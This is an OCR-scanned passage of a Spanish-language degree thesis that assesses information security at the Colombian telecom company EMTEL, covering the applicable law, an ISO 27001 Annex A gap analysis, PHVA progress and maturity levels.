En este trabajo de grado se realizaron pruebas de testeo a la red de datos para el
diagnoéstico de vulnerabilidades en el control de acceso al sistema de gestion
documental de la empresa INGELEC S.A.S, para ello se hizo uso de la herramienta
libre openVAS (Sistema Abierto para Evaluacion de Vulnerabilidades), la cual
permitié identificar las vulnerabilidades presentes en el sistema de informacion
documental de la empresa en mencion, y la evaluacion de las mismas,
posteriormente se plantearon estrategias de mitigacion de los riesgos hallados para
la prevencion y mejora de la seguridad en el control de acceso fundamentado en la
norma ISO/IEC 27002.

El aporte principal de este trabajo de grado a esta practica profesional es que como
lo sugieren los autores para la implementacién de un sistema de seguridad de la
informacion es fundamental identificar las vulnerabilidades existentes en los
sistemas de informacidén, sus ocurrencias y el impacto generado por estas si llegan
a materializarse, con base en este andlisis se deben establecer los controles
necesarios que permitan mitigar las vulnerabilidades encontradas y de esta manera
fortalecer los niveles de deteccion de intrusos.

Propuesta metodoldgica para realizar pruebas de penetracion en ambientes
virtuales [24].

En este trabajo de grado se plante6 una metodologia para realizar pruebas de
penetracion en ambientes virtuales, para ello se identificaron las principales
vulnerabilidades relacionadas con un sistema web ejecutando pruebas de intrusién
con el fin de determinar el nivel de seguridad en los sistemas de informacién
analizados, las pruebas desarrolladas se realizaron siguiendo las etapas que se
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mencionan a continuacion: planeacién, descubrimiento, evaluacion, intrusién, post
explotacion, analisis y reporte, finalmente se realizé un analisis y validacion de la
metodologia propuesta.

El aporte de este trabajo a la practica profesional es que en él se recomienda realizar
pruebas de penetracion de manera periodica, al menos una vez por afo, puesto que
la identificacibn oportuna y manejo adecuado de vulnerabilidades permite la
ejecucion de acciones preventivas de forma proactiva y no reactiva, ya que cada dia
pueden descubrirse nuevas vulnerabilidades y amenazas.

Por otro lado, el autor resalta que las pruebas de penetraciébn son un componente
esencial en cualquier sistema de gestién de seguridad de la informacién ya que
contribuyen significativamente al proceso de evaluacién del riesgo, plan de
tratamiento de riesgos y procesos de mejoramiento continuo.

2.3 MARCO LEGAL

A continuacion, en la tabla 2.1 se establece la normatividad vigente que aplica a la
empresa en materia de seguridad de la informacion.

Tabla 2.1 Normatividad vigente que le aplica a EMTEL con respecto a seguridad
de la informacion

TIPO ANO DESCRIPCION

Resolucion 5569
de la Comisién de
Regulacién  de
Comunicaciones

2018

"Por la cual se modifica el articulo 5.1.2.3 del Capitulo |
del Titulo V de la Resolucion CRC 5050 de 2016 en
materia de gestion de seguridad en redes de
telecomunicaciones y se dictan otras disposiciones” [25]

Decreto 1008

2018

"Por lo cual se establecen los lineamientos generales de
la politica de Gobierno Digital y se subroga el capitulo 1
del titulo 9 de la parte 2 del libro 2 del Decreto 1078 de
2015, Decreto Unico Reglamentario del sector de
Tecnologias de la Informacion y las comunicaciones"[26]

Decreto 1078

2015

“‘Por medio del cual se expide el decreto unico
reglamentario del sector de tecnologias de la informacion
y las comunicaciones”[27]

Decreto 1083

2015

“Por medio del cual se expide el Decreto Unico
Reglamentario del Sector de Funcién Publica’[28]

Decreto 2693

2012

Lineamientos generales de la Estrategia de Gobierno en
Linea de la republica de Colombia que lidera el Ministerio
de las Tecnologias de Ila Informacién vy las
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Comunicaciones y se reglamenta parcialmente las Leyes
1341 de 2009 y 1450 de 2011, y se dictan otras
disposiciones (MINISTERIO DE TECNOLOGIAS DE LA
INFORMACION Y LAS COMUNICACIONES 2012) [29]

Ley 1712

2014

" Por la cual se crea la Ley de Transparencia y del
Derecho de Acceso a la Informaciéon Publica y se dictan
otras disposiciones". (Congreso de la Republica de
Colombia, 2014) [1]

Decreto 103

2015

Por lo cual se reglamenta parcialmente la ley 1712 de
2014 y se dictan otras disposiciones, en cuanto a la
publicacion y divulgacion de la informacion [30]

Ley 1273

2009

"por medio de la cual se modifica el Codigo Penal, se crea
un nuevo bien juridico tutelado - denominado "de la
proteccion de la informacién y de los datos" y se
preservan integralmente los sistemas que utilicen las
tecnologias de la informacion y las comunicaciones, entre
otras disposiciones”. (Senado de la Republica de
Colombia, 2009) [31]

Ley 1581

2012

Por el cual se dictan disposiciones generales para la
proteccion de datos personales. (Senado de la Republica
de Colombia, 2012) [3]

Ley 527

1999

Por medio de la cual se define y reglamenta el acceso y
uso de los mensajes de datos, del comercio electrénico y
de las firmas digitales, y se establecen las entidades de
certificacién y se dictan otras disposiciones. asi mismo
introduce el concepto de equivalente funcional, firma
electronica como mecanismos de autenticidad,
disponibilidad y confidencialidad de la informacion.
(Congreso de la Republica de Colombia, 1999) [32]

Ley 1266

2008

Por la cual se dictan las disposiciones generales del
habeas data y se regula el manejo de la informacion
contenida en bases de datos personales, en especial la
financiera, crediticia, comercial, de servicios y la
proveniente de terceros paises y se dictan otras
disposiciones (Congreso de la Republica de Colombia,
2008) [33]
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3 CAPITULO TRES: ASPECTOS METODOLOGICOS
Y RESULTADOS

En este capitulo se presentara el diagnostico en seguridad de la informacion
realizado a la Empresa de Telecomunicaciones de Popayan S.A EMTEL E.S.P, asi
como también la metodologia de gestion del riesgo implementada en el proceso de
Tl, mediante la cual se identificaron los activos criticos del proceso, las potenciales
y reales amenazas y vulnerabilidades presentes en dichos activos, y los riesgos con
mayor probabilidad e impacto que afectan al proceso, logrando de esta manera
determinar las posibles pérdidas en confidencialidad, integridad y disponibilidad de
los activos de informacién, y asi mismo establecer los controles de seguridad que
le van a permitir a la empresa actuar ante una eventual materializacién del riesgo o
evitar que se presente.

3.1 LEVANTAMIENTO DE INFORMACION DE LA EMPRESA

Esta fase tiene como objetivo recopilar la informacion necesaria que permita
conocer el contexto y los objetivos de la empresa, esto con el fin de determinar el
estado actual de seguridad en la empresa e identificar la brecha de seguridad que
tiene respecto a la implementacion del Modelo de Seguridad y Privacidad de la
Informacion, en ese sentido la informacion requerida para el desarrollo de esta
actividad se menciona a continuacion:

Organigrama de la empresa

Mapa de procesos

Politica de seguridad de la informacion

Manual de politicas de seguridad de la informacién

Metodologia, identificacién y planes de gestion de riesgos, entre otros.

De acuerdo a la informacién suministrada mediante entrevistas realizadas al
personal de calidad y al ingeniero de TI, se presenta el estado actual de esta
informacion para la Empresa de Telecomunicaciones de Popayan S.A EMTEL E.S.P

Contexto de la empresa

La Empres de Telecomunicaciones de Popayan S.A. EMTEL E.S.P, es una
Sociedad por Acciones, constituida como Empresa de Servicios Publicos Mixta,
regida por los parametros legales consagrados en la Ley 142 de 1994. Creada
Mediante Escritura Publica No. 1757 del 20 de octubre de 1998 ante la Notaria
Tercera del Circulo de Popayan, con registro mercantil No. 13037 del 30 de octubre
de 1998 [12].

Cuenta con un Régimen especial, establecido en la Ley 1341 de 2009, encaminado
a la organizacion de las Tecnologias de la Informacion y las Comunicaciones TIC,
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definiendo su alcance legal, en su art. 55, determinando que los actos y los
contratos, incluidos los relativos a su régimen laboral y las operaciones de crédito
de los proveedores de las Tecnologias de la Informacion y las Comunicaciones,
cualquiera que sea su naturaleza, sin importar la composiciéon de su capital, se
regiran por las normas del derecho privado [12].

Esta sujeta a la regulacion y control por parte de unidades del estado como son:
Superintendencia de Industria y Comercio, el Ministerio de Comunicaciones en los
Servicios no Regulados por la ley de Servicios Publicos Domiciliarios, (servicios de
valor agregado y demas); por la Comision de regulacion de Comunicaciones, CRC,
y la Superintendencia de Servicios Publicos Domiciliarios [12].

Mision
En EMTEL le apostamos a la excelencia operacional, innovacion, diversificacion,
desarrollo sostenible y mejora en la calidad de vida, brindando soluciones integrales

en tecnologias de la informacion y comunicaciones, orientadas a lograr la mejor
experiencia de nuestros clientes y grupos de interés [34].

Visién
Para el 2021, EMTEL sera una empresa sostenible que incursione en nuevas
oportunidades de negocio [34].

Organigrama

En la figura 3.1 se observa el organigrama de la Empresa de Telecomunicaciones
de Popayan S.A EMTEL E.S.P, el alcance de esta practica profesional esta dirigido
hacia la oficina de Tecnologias de la informacion la cual depende directamente de
Gerencia.

28



Estructura Organizacional
EMTEL Be Socios.

REVISORIA
FISCAL

JUNTA
DIRECTIVA

GERENCIA

OFICINA PLANEACION
S
Y SEGUIMIENTO

OFICINA I OFICINA TECNOLOGIA
COMUNICACIONES I DE LA INFORMACION
DIRECCION DIRECCION
ATENCION INTEGRACION
AL CLIENTE TECNOLOGICA
GESTION DEL
PLATAFORMAS CONTABILIDAD TESORERIA GESTION NEGOCIOS GESTION DE
B AL CLIENTE HOGAR Y OPORTUNIDADES
CORPORATIVOS
RED TRONCAL GESTION PRESUPUESTO Fe‘;g&%g" CORTE Y, GESTION DE
DOCUMENTAL RECONEXION MERCADEO PROYECTOS
GESTION DE
ATACENTER CARTERA
o 5 FACTIBILIDAD PREVENTA

N A
Y NOVEDADES

RED DE ACCESO

GESTION
RECURSOS FiSt-
COS Y COMPRAS

Figura 3.1 Organigrama de la Empresa de Telecomunicaciones de Popayan S.A EMTEL E.S.P [34].
Mapa de procesos

En la figura 3.2 se puede observar el mapa de procesos de la empresa, de igual
manera como ya se menciond el alcance de la practica profesional esta dirigido a el
proceso de tecnologias de la informacién el cual hace parte de los procesos de

apoyo [34].

MAPA DE PROCESOS
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Figura 3.2 Mapa de procesos de la Empresa de Telecomunicaciones de Popayan S.A EMTEL
E.S.P. [34]

Necesidades y Experiencia
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Politica de seguridad de lainformacion

La empresa no cuenta con politicas de seguridad, ni procedimientos relacionados
con seguridad de la informacion.

Metodologia, identificacién y planes de gestion del riesgo

De acuerdo con la informacion suministrada por el proceso de calidad, la empresa
carece de planes de gestion del riesgo, en términos generales se puede evidenciar
gue no se ha adoptado una metodologia para la gestion del riesgo en donde se
identifiquen los riesgos asociados a sus activos criticos y se implementen planes de
mitigacion.

Alcance

El alcance del MSPI en la Empresa de Telecomunicaciones de Popayan S.A EMTEL
E.S.P sera:

“Proteccion de la confidencialidad, integridad y disponibilidad de los activos
de informacién del proceso de Tecnologias de la Informacién, de acuerdo con
la declaracion de aplicabilidad vigente”

3.2 PROCEDIMIENTOS DEL AREA DE Tl DE LA EMPRESA DE
TELECOMUNICACIONES DE POPAYAN S.A EMTEL E.S.P

De acuerdo al alcance definido se debe realizar el levantamiento de informacion
correspondiente a los procedimientos que se realizan en el proceso de Tl y con base
a ellos identificar los activos de informacion asociados a los mismos, debido a que
la empresa no cuenta con la documentacién de los procedimientos que se realizan
en cada proceso, se hizo necesario llevar a cabo esta actividad en Tl para continuar
con el desarrollo de esta préactica profesional.

En relacién a la informacién suministrada por el ingeniero de Tl se identificaron los
siguientes procedimientos del proceso de TI:

Soporte técnico

Mantenimiento preventivo hardware y software

Copias de respaldo (backup),

Administracién de plataformas tecnoldgicas

Administracion y gestion de equipos tecnologicos de la empresa
Instalacion y control de licencias de software

A continuacion, se describen los objetivos de los procedimientos en mencion, es
importante resaltar que gran parte de las actividades descritas en cada uno de estos
procedimientos no se desarrollaban asi o simplemente no se hacian, pero con el
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proposito de optimizarlos y seguir buenas practicas en seguridad de la informacion
se plantearon de esta manera:

e Soporte técnico

Objetivo: Establecer la metodologia para solicitar el servicio de soporte técnico en
la empresa y de esta manera garantizar la prestacion de un servicio eficiente. (Ver
procedimiento en el anexo A).

e Mantenimiento preventivo hardware y software

Objetivo: Garantizar el adecuado funcionamiento a nivel hardware y software de
los equipos de computo de la empresa. (Ver procedimiento en el anexo A).

e Copias derespaldo (BACKUP)

Objetivo: Establecer las actividades a seguir para crear copias de seguridad de la
informacion contenida en los servidores criticos de la empresa con el fin de
garantizar la disponibilidad de la informacion en caso de incidente o contingencia.
(Ver procedimiento en el anexo A).

e Administracion de plataformas tecnoldgicas

Objetivo: Establecer y ejecutar las actividades propias para la administracion y
gestion de las plataformas tecnoldgicas utilizadas en los diferentes procesos de la
Empresa de Telecomunicaciones de Popayan S.A EMTEL E.S.P. (Ver
procedimiento en el anexo A).

e Administracion y gestion de recursos tecnoldgicos de la empresa

Objetivo: Establecer las actividades para administrar y gestionar los recursos
tecnolégicos de la empresa con el fin de garantizar la disponibilidad de los mismos
y satisfacer las necesidades de los empleados de la empresa. (Ver procedimiento
en el anexo A).

e Instalacion y control de licencias de software

Objetivo: Proporcionar a los empleados las herramientas software que les permita
desarrollar sus funciones y asi mismo controlar su instalacién en la empresa. (Ver
procedimiento en el anexo A).

3.3 ESTADO ACTUAL DE LA GESTION DE SEGURIDAD Y PRIVACIDAD DE
LA INFORMACION EN LA EMPRESA.

3.3.1. Herramienta de evaluacion del MSPI

Con el objetivo de evaluar el estado inicial de la seguridad de la informacién en la
empresa, se hizo uso del instrumento de evaluacion proporcionado por el MinTIC,
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el cual en una primera fase permite identificar el nivel de madurez de los controles
de seguridad de la informacién técnicos y administrativos del anexo A del estandar
ISO 27001:2013 implementados en una empresa. En la tabla 3.1 se muestran los
criterios de evaluacion establecidos por el MinTIC, como se observa el rango de
evaluacion varia de 0 a 100, es decir cada control puede tomar exactamente
cualquiera de estos 6 valores (0, 20, 40, 60, 80, 100).

Tabla 3.1 Escala de evaluacion de controles
DESCRIPCION CALIFICACION CRITERIO

No Aplica N/A No aplica.

Total, falta de cualquier proceso reconocible. La
Inexistente 0 Organizacion ni siquiera ha reconocido que hay un
problema a tratar. No se aplican controles.

1) Hay una evidencia de que la Organizacion ha
reconocido que existe un problema y que hay que
tratarlo. No hay procesos estandarizados. La
Inicial 20 implementacion de un control depende de cada individuo
y es principalmente reactiva.
2) Se cuenta con procedimientos documentados, pero no
son conocidos y/o no se aplican.

Los procesos y los controles siguen un patron regular.
Los procesos se han desarrollado hasta el punto en que
diferentes procedimientos son seguidos por diferentes
Repetible 40 personas. No hay formacion ni comunicacion formal
sobre los procedimientos y estandares. Hay un alto grado
de confianza en los conocimientos de cada persona, por
eso hay probabilidad de errores.

Los procesos y los controles se documentan y se
comunican. Los controles son efectivos y se aplican casi
Efectivo 60 siempre. Sin embargo, es poco probable la deteccion de
desviaciones, cuando el control no se aplica
oportunamente o la forma de aplicarlo no es la indicada.

Los controles se monitorean y se miden. Es posible
monitorear y medir el cumplimiento de los

Gestionado 80 procedimientos y tomar medidas de accion donde los
procesos no estén funcionando eficientemente.
Optimizado 100 Las buenas practicas se siguen y automatizan. Los

procesos han sido redefinidos hasta el nivel de mejores
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practicas, basandose en los resultados de una mejora
continua.

Con la asignacién de estos valores el instrumento promedia el valor de los controles
pertenecientes a cada dominio y con base a ello se obtiene la calificacion de los 14
dominios de la norma ISO 27001:2013. Asi mismo la calificacién obtenida para cada
dominio varia de 0 a 100 y de acuerdo a este valor cada dominio puede tomar los
siguientes estados como se muestra en la tabla 3.2:

Tabla 3.2 Valores de calificacién que puede obtener cada dominio

\CALIFICACION OBTENIDA ESTADO DEL DOMINIO
0 Inexistente

1-20 Inicial

21-40 Repetible

41-60 Efectivo

61-80 Gestionado

81-100 Optimizado

De acuerdo a lo anterior los resultados obtenidos de la evaluaciéon de efectividad de
controles ISO 27001:2013 anexo A para la empresa se muestra en la tabla 3.3.

Tabla 3.3 Evaluacién de efectividad de los controles ISO27001 para la empresa
de Telecomunicaciones de Popayan S.A EMTEL E.S.P

Evaluacion de Efectividad de controles

EVALUACION
Calificaciéon | Calificacion DE
DOMINIO Actual Objetivo EFECTIVIDAD
DE CONTROL
A5 POLITICAS DE SEGURIDAD DE LA INFORMACION 0 100 INEXISTENTE
A.6 ORGANIZACION DE LA SEGURIDAD DE LA INFORMACION 0 100 INEXISTENTE
A7 SEGURIDAD DE LOS RECURSOS HUMANOS 13 100 INICIAL
A8 GESTION DE ACTIVOS 2 100 INICIAL
A9 CONTROL DE ACCESO 1 100 INEXISTENTE
A.10 CRIPTOGRAFIA 0 100 INEXISTENTE
All SEGURIDAD FiSICA Y DEL ENTORNO 9 100 INICIAL
A.12 SEGURIDAD DE LAS OPERACIONES 6 100 INICIAL
A.13 SEGURIDAD DE LAS COMUNICACIONES 20 100 INICIAL
A.l4 ADQUISICION, DESARROLLO Y MANTENIMIENTO DE SISTEMAS 1 100 INEXISTENTE
A.15 RELACIONES CON LOS PROVEEDORES 0 100 INEXISTENTE
A.l6 GESTION DE INCIDENTES DE SEGURIDAD DE LA INFORMACION 0 100 INEXISTENTE
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ASPECTOS DE SEGURIDAD DE LA INFORMACION DE LA GESTION
AL7 DE LA CONTINUIDAD DEL NEGOCIO 10 100 INICIAL
A.18 CUMPLIMIENTO 5 100 INICIAL
PROMEDIO EVALUACION DE CONTROLES 5 100 INICIAL

BRECHA ANEXO A ISO 27001:2013

POLITICAS DE SEGURIDAD DE

A INFORMACIONORGANIZACION DE LA
Ib.
CUMPLIMIENTCy e GEGURIDAD DE LA..

ASPECTOS DE SEGURIDAD DE 80 SEGURIDAD DE LOS
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Figura 3.3 Brecha de seguridad anexo A ISO 27001:2013 para la empresa de Telecomunicaciones
de Popayan S.A EMTEL E.S.P

Como se puede observar en la tabla 3.3 la brecha de seguridad que tiene la empresa
respecto a la implementacion de los controles de la norma ISO 27001 es evidente,
la calificacion promedio de controles implementados en la empresa es de 5 sobre
100 encontrdndose en un estado de seguridad inicial, es decir que aunque la
empresa ha reconocido que existe un problema y que hay que tratarlo, ain no ha
implementado mecanismos y procesos estandarizados que permitan mejorar su
seguridad, la implementacion de un control depende de cada individuo.

De igual manera en la figura 3.3 se muestra graficamente la calificacion obtenida de
la empresa para cada dominio respecto con la calificacion objetivo, el dominio que
alcanzé una mayor puntuacion fue el A.13 Seguridad de las Comunicaciones con
20 puntos de 100, en ese sentido se puede decir que la empresa cumple
parcialmente con algunos de los controles y requisitos que hacen parte de este
dominio, pero aun asi el porcentaje de cumplimiento sigue siendo muy bajo para
alcanzar un nivel de seguridad adecuado, es importante mencionar que el riesgo en
seguridad de la informacién nunca va ser cero pero existen medidas o controles que
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permiten reducir los riesgos a los cuales estan expuestos los activos de informacion
de una empresa.

En relacion al diagnéstico de seguridad realizado se ha identificado la brecha de
seguridad que tiene la empresa frente a los controles que componen los 14 dominios
de la norma ISO 27001. A continuacidon de manera general se mencionan las
brechas de seguridad de la empresa respecto a los controles de la norma.

A.5 Dominio politicas de seguridad de la informacién
Constituido por 2 controles
Brecha de seguridad

e No existen politicas de seguridad de la informacién, y debido a que se carece
de las mismas no se realizan planes ni estrategias de actualizacion de estas.

A.6 Dominio responsabilidades y organizacion de la seguridad de la
informacion

Constituido por 7 controles
Brecha de seguridad

e La empresa carece un sistema de gestion de seguridad de la informacion,
razén por la cual no ha sido conformado un comité de seguridad de la
informacion, en el que se identifique y se establezcan roles vy
responsabilidades de los empleados en materia de seguridad de la
informacion, en cuanto a la separacion de deberes y responsabilidades en
conflicto para reducir la posibilidad de modificacibn no autorizada o no
intencional de activos, la empresa ha separado deberes y responsabilidades
por areas, pero aun si se han presentado casos de complicidad y
confabulacion entre empleados de diferentes éareas para incurrir en
incidentes de seguridad.

e Finalmente a pesar que la empresa lidera y gestiona proyectos de innovaciéon
y tecnologia no se realiza valoracion para el tratamiento de seguridad de la
informacion en ninguno de estos.

A.7 Dominio seguridad de los recursos humanos
Constituido por 6 controles
Brecha de seguridad

e Respecto ala selecciony verificacion de antecedentes de los candidatos que
van a optar por un empleo, la empresa hace revision de la hoja de vida del
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solicitante incluyendo certificaciones académicas, laborales y antecedentes
penales, pero no se verifica que la informacion suministrada sea veridica.

Debido a que la empresa carece de politicas y procedimientos de seguridad
de la informacién ninguno de los empleados es informado sobre sus roles y
responsabilidades en temas de seguridad de la informacion, de igual manera
no se realizan campafias de sensibilizacion en relacion al tema, ni se han
establecido medidas disciplinarias en el caso en el que un empleado incurra
en una violacién a la seguridad de la informacién, finalmente no existen
acuerdos de confidencialidad en cuanto a la informacion que se accede.

A.8 Dominio gestién de activos

Constituido por 10 controles

Brecha de seguridad

No existe un inventario de activos de informacion, a pesar de que la empresa
cuenta con una plataforma tecnoldgica (apoteosys) para el inventario de
activos, en esta solo se encuentran registrados los activos que ingresan por
almacén, bajo esas circunstancias existe un gran porcentaje de activos entre
los que se encuentran equipos de telecomunicaciones, computadores de
escritorio y activos software que no se encuentran registrados en la
plataforma debido a que se adquirieron hace muchos afios o la compra no
fue realizada directamente por el area de recursos fisicos.

No se tiene debidamente identificada y clasificada la informacion segun su
nivel de importancia.

No existe una politica de gestion de activos de informacion en la que se
establezcan las directrices que se deben seguir sobre el uso correcto y
responsable de los activos de informacion de la empresa

No existe un procedimiento para la asignacion de propiedad de los activos
de informacion, cuyo propdsito sea asegurar que los activos se encuentren
protegidos apropiadamente y definir las restricciones de acceso que se
deben tener para el activo de acuerdo a su nivel de criticidad.

No existe un procedimiento formal para la devolucién de activos (equipos,
llaves, documentos, sistemas, etc), en el que se establezca los lineamientos
gue debe seguir un empleado para realizar la devolucion de activos que se
encuentran a su cargo al terminar su empleo o contrato.

No se documentan los procedimientos que son importantes para las
operaciones regulares de la empresa.
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No existe un procedimiento para el etiquetado de la informacién, la mayoria
de activos no tienen etiquetas de identificacion de la empresa.

No se han definido los lineamientos y directrices que se deben seguir para la
gestion de medios removibles.

No se ha definido un procedimiento formal para disponer de los medios de
forma segura cuando ya no sean requeridos.

A.9 Dominio control de acceso

Constituido por 14 controles

Brecha de seguridad

No se ha establecido ni documentado una politica de control de acceso con
base a los requisitos de la empresa y de seguridad de la informacion, en
razon a lo anterior no se han definido directrices acerca del uso de redes y
servicios de red.

Respecto a la implementacién de un proceso formal de registro y cancelacion
de usuario para posibilitar la asignacion de los derechos de acceso, la
empresa no ha implementado uno de manera formal, aunque a la mayoria
de empleados se les asigna un usuario y una contrasefa para acceder a las
plataformas tecnoldgicas, algunos hacen uso de identificaciones compartidas
para realizar sus labores, dificultandose de esta manera vincular sus
acciones y hacerlos responsables de ellas. En cuanto a la cancelacién de
usuarios en la mayoria de casos no se deshabilitan las credenciales de los
empleados que han dejado la empresa, ni se hace eliminacién de
identificaciones redundantes.

Debido a que los activos de informacién no tienen asignado un propietario
para asegurar su proteccién, no se examina periédicamente los derechos de
acceso otorgados a los empleados de la empresa.

La informacion de autenticacion secreta es una puerta de acceso para poder
llegar a los activos méas valiosos de una entidad, en la empresa no se ha
definido un proceso formal para el registro y control de credenciales, en
relacion a lo anterior cada administrador de plataformas tecnoldgicas crea su
propio registro de acuerdo a su criterio y necesidad, en cuanto a la seleccion
de contrasefias seguras no se cumple con los requisitos propuestos en el
control, ni tampoco se hace uso de gestores de contrasefias.

Como no se ha definido las directrices de la empresa frente a la seguridad
de la informacién no se les exige ni se les notifica a los empleados que
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cumplan con buenas préacticas en seguridad para el uso de informaciéon de
autenticacion secreta.

A.10 Dominio criptografia

Constituido por 2 controles

Brecha de seguridad

No se ha desarrollado ni se ha implementado una politica sobre el uso de
controles criptograficos para la proteccién de informacion, en ese sentido
tampoco existe un sistema de gestion de llaves basado en normas,
procedimientos y métodos seguros que permitan generar llaves para
diferentes sistemas criptograficos y aplicaciones.

A.11 Dominio seguridad fisicay del entorno

Constituido por 15 controles

Brecha de seguridad

Aunque existen perimetros de seguridad, estos no cumplen con los requisitos
de seguridad propuestos en el control, debido a que algunos de los cuartos
de servidores no cuentan con las restricciones de acceso adecuadas, las
puertas no tienen cerraduras y las que las tienen, la llave se encuentra
expuesta permitiendo que cualquier persona interna o externa a la empresa
pueda ingresar.

Aunque existe personal de vigilancia no se realiza un registro de fecha, hora
de entrada y salida de los visitantes, como ya se menciond algunos de los
cuartos de servidores estan provistos de puertas que cuentan con cerradura,
pero no se ha implementado mecanismos de autenticacién como tarjetas de
acceso o pin secreto.

A pesar que todos los empleados cuentan con un carnet para su
identificacién no es obligatorio portarlo por tal motivo muy pocos empleados
hacen uso de él.

Respecto al soporte externo no se sigue ningun procedimiento para otorgar
acceso a las instalaciones de procesamiento de informacion, ni se hace
seguimiento para evitar que este personal acceda a Informacion confidencial
de la empresa.

No existen planes que permitan mejorar la proteccion fisica de la empresa
contra desastres naturales, ataques maliciosos o accidentales.

La mayoria del cableado de la empresa no cumple con las reglas
establecidas en la norma, debido a que las lineas de energia eléctrica y de
telecomunicaciones que entran a las instalaciones de procesamiento de
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informacion no son subterraneas y no se encuentran separadas para evitar
interferencias.

No existe un plan de mantenimiento preventivo anual para los equipos de la
empresa, tampoco se han establecido las directrices que se deben seguir
para mantenimientos de equipos que se realizan por fuera de las
instalaciones de la empresa.

A.12 Dominio seguridad de las operaciones

Constituido por 14 controles

Brecha de seguridad

No se encuentran documentados los procedimientos de operacion de las
plataformas tecnolégicas de la empresa.

No existe un procedimiento formal para la gestion de cambios

No existe un plan de gestion de capacidad para los sistemas y equipos
criticos de la empresa

No existe una politica de prohibiciébn de software no autorizado, ni la
implementacion de controles para la deteccion y prevencion de software
malicioso.

No existe un plan de copias de respaldo que incluya politicas y
procedimientos para la realizacion de estas.

No se realizan pruebas de efectividad sobre las plataformas tecnolégicas y
equipos de computo de la empresa con el fin de determinar vulnerabilidades
técnicas.

A.13 Dominio seguridad de las comunicaciones

Constituido por 7 controles

Brecha de seguridad

No se realiza monitoreo de actividades en la red interna que permitan
detectar posibles intrusiones y/o debilidades de seguridad

A.14 Dominio adquisicion, desarrollo y mantenimiento de sistemas

Constituido por 13 controles

Brecha de seguridad

Debido a que en la empresa no se realiza desarrollo de software la gran
mayoria de los controles propuestos en este dominio no le aplican, aun asi
existen brechas de seguridad referentes a que no se realizan pruebas de
aceptacion sobre sistemas de informacion nuevos antes de colocarlos en
funcionamiento.
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A.15 Dominio relaciones con los proveedores
Constituido por 5 controles
Brecha de seguridad

e La empresa no ha implementado una politica en donde se establezcan los
requisitos de seguridad de la informacion pertinentes con cada proveedor.

A.16 Dominio gestion de incidentes de seguridad de la informacion
Constituido por 7 controles
Brecha de seguridad

e La empresa carece de un plan de gestion de incidentes que le permita
establecer roles y responsabilidades para asegurar una respuesta rapida a
cualquier incidente de seguridad que se presente, por consiguiente tampoco
se han establecido canales apropiados para reportar un evento y dar
respuesta de manera eficiente a este.

A.17 Dominio aspectos de seguridad de la informacion de la gestion de
continuidad del negocio

Constituido por 4 controles
Brecha de seguridad

e La empresa no cuenta con un plan de continuidad del negocio, razén por la
cual tampoco se han definido los requisitos para la seguridad de la
informacion en caso en que se presenten situaciones adversas.

e No existen equipos de redundancia para cumplir con los requisitos de
disponibilidad, en caso en que se presente un incidente.

A.18 Dominio cumplimiento
Constituido por 8 controles
Brecha de seguridad

e No se encuentran identificados y documentados los requisitos estatutarios,
ni las obligaciones legales y contractuales relacionadas con seguridad de la
informacion que debe cumplir la empresa.

e No se han establecido directrices para la proteccion de cualquier material que
se pueda considerar como propiedad intelectual.
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3.3.2. Avance ciclo de funcionamiento del modelo de operacién (PHVA)

Este componente permite determinar el nivel de cumplimiento de acuerdo al ciclo
PHVA del Modelo de Seguridad y Privacidad de la informacion que ha tenido una
entidad, el ciclo evaluado est4 conformado por cuatro componentes, planificacion,
implementacion, evaluacion de desempefio y mejora continua, cada componente
contiene objetivos y metas que permiten que la seguridad de la informacion sea un
sistema de gestion sostenible dentro de una entidad.

En la tabla 3.4 y en la figura 3.4 se muestra la calificacién obtenida por la empresa
respecto al avance en el ciclo PHVA del MSPI, de acuerdo a estos resultados la
empresa no ha avanzado en ninguno de los componentes para la implementacion
del MSPI, el porcentaje de calificacion obtenido refleja la situacion actual de la
empresa, debido a que no existen politicas ni procedimientos de seguridad de la
informacion, no se han definido roles y responsabilidades en temas de seguridad,
no existe un inventario y clasificacion de activos de informacion y no se ha definido
una metodologia de identificacion y valoracién del riesgo.

Tabla 3.4 Avance PHVA

AVANCE PHVA

% de
COMPONENTE Avance % Avance
Actual Esperado
Entidad

Planificacion 0% 40%

Implementacion 0% 20%

Evaluacion de desempefio 0% 20%

Mejora continua 0% 20%

0% 100%
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AVANCE CICLO DE FUNCIONAMIENTO
DEL MODELO DE OPERACION

0%
0%
7 40%
0%

% de Avance Actual Entidad % Avance Esperado

Planificacion M Implementaciéon M Evaluacion de desempefio M Mejora continua

Figura 3.4 Avance PHVA

3.3.3. Nivel de madurez del modelo de seguridad y privacidad de la
informacion

Este componente indica el nivel de madurez en el que se encuentra la empresa con
respecto al Modelo de Seguridad y Privacidad de la Informacion, en la tabla 3.5 se
puede observar la clasificacion de los niveles con su respectiva descripcion.

Tabla 3.5 Nivel de madurez

Nluel Descripcidn

En este nivel se encuentran las entidades, que aun no cuenta con una identificacién de
activos y gestidn de riesgos, que les permita determinar el gradc de criticidad de la
Inicial informacidén, respecto a la seguridad y privacidad de la misma, por lo tante les contreles no
estan alineados con la preservacidn de la confidencialidad, integridad, disponibilidad y
privacidad de lainformacién

En este nivel se encuentran las entidades, en las cuales existen procesos procesos basicos de
gestién de laseguridad y privacicdad de la informacidn. De igual forma existen controles que
permiten detectar posibles incidentes de seguridad, pero no se encuentra gestiocnados
dentro del componente planificacién del MSPI.

Repetible

En este nivel se encuentran las entidades que tienen documentado, estandarizado y
aprobado por la direccién, el modelo de seguridad y privacidad de la informacion. Tedos los
controles se encuentran debidamente documentados, aprobados, implementados, probados
y actualizados.

Definide

En este nivel se encuentran las enticades, que cuenten con métricas, indicadcres y realizan

Administrado o K . .
auditorias al MSPI, recalectando informacion para establecer la efectividad de los cantroles.

En este nivel se encuentran las entidades, en donde existe un mejoramiento continuec del

Optimizado . -
P MSPI, retroalimentando cualitativamente el modelo.

Seguidamente a partir de la tabla 3.6 se puede definir el estado en el que se
encuentra cada uno de los niveles de madurez mostrados en la tabla anterior del
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MSPI, esta clasificacion se realiza de acuerdo al total de cumplimento de los
requisitos que comprenden cada nivel.

Tabla 3.6 Estado del nivel de madurez

TOTAL, DE REQUISITOS CON

CALIFICACIONES DE
CUMPLIMIENTO

CRITICO 0% a 35%
INTERMEDIO 36% a 70%
SUFICIENTE 71% a 100%

En la tabla 3.7 se muestra la calificacién obtenida en relacién al nivel de madurez
del MSPI en la empresa EMTEL, como se observa la empresa se encuentra en un
nivel de madurez inicial con un estado de cumplimiento de requisitos critico, en este
nivel se encuentran las entidades que aun no cuentan con una clasificacion de
activos y gestion del riesgo que les permita identificar el grado de criticidad de la
